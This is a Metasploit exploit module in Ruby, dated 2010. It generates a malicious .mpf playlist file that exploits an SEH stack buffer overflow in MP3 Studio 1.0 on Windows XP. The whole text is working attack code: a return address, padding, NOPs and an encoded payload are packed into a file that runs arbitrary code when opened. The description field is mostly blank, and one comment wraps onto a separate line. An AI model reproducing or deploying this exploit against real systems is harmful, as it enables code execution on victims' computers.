MP3 Studio 1.0 Buffer Overflow

`#####################################################################   
# Title: MP3 Studio v1.0 (mpf File) Local BOF Exploit (SEH) Meta  
# CVE-ID: ()   
# OSVDB-ID: ()   
# Author: sid3^effects  
# Published: 2010-06-03  
#####################################################################  
  
  
## This file is part of the Metasploit Framework and may be subject to   
  
## redistribution and commercial restrictions. Please see the Metasploit   
  
## Framework web site for more information on licensing and terms of use.   
  
## http://metasploit.com/framework/   
  
###   
  
  
  
require 'msf/core'   
  
  
  
class Metasploit3 < Msf::Exploit::Remote   
  
Rank = GreatRanking   
  
  
  
include Msf::Exploit::FILEFORMAT   
  
  
  
def initialize(info = {})   
  
super(update_info(info,   
  
'Name' => 'MP3 Studio v1.0 (mpf File) Local BOF Exploit (SEH) META',   
  
'Description' => %q{   
  
  
  
  
  
to execute arbitrary code.   
  
},   
  
'License' => MSF_LICENSE,   
  
'Author' => [ 'sid3^effects aKa HaRi' ],   
  
'Version' => 'Version 1.0',   
  
'References' =>   
  
[   
  
[ 'URL', 'http://www.exploit-db.com/exploits/9291' ],   
  
],   
  
'DefaultOptions' =>   
  
{   
  
'EXITFUNC' => 'seh',   
  
},   
  
'Payload' =>   
  
{   
  
'Space' => 986,   
  
'BadChars' => "\x00\x1a\x0a\x0d",   
  
'StackAdjustment' => -3500,   
  
},   
  
'Platform' => 'win',   
  
'Targets' =>   
  
[   
  
[ 'Windows XP Universal', { 'Ret' => 0x7c96bf33 } ], #   
  
JMP ESP in ULMigration_us.dll   
  
],   
  
'Privileged' => false,   
  
  
'DefaultTarget' => 0))   
  
  
  
register_options(   
  
[   
  
OptString.new('FILENAME', [ false, 'The file name.',   
  
'msf.mpf']),   
  
], self.class)   
  
  
  
end   
  
  
  
def exploit   
  
  
  
sploit = "\x3f\x5e\x03\x10"   
  
sploit << "\xeb\xf1\x90\x90"   
  
sploit << "\xfd\x61\x03\x10"   
  
sploit << rand_text_alpha_upper(4103)   
  
sploit << [target.ret].pack('V')   
  
sploit << make_nops(10)   
  
sploit << payload.encoded   
  
sploit << "\x33\xc0\x33\x45\xf8\x04\x05\xff\xe0"   
  
  
  
  
mpf = sploit   
  
  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")   
  
  
  
file_create(mpf)   
  
  
  
end   
  
  
  
end   
  
`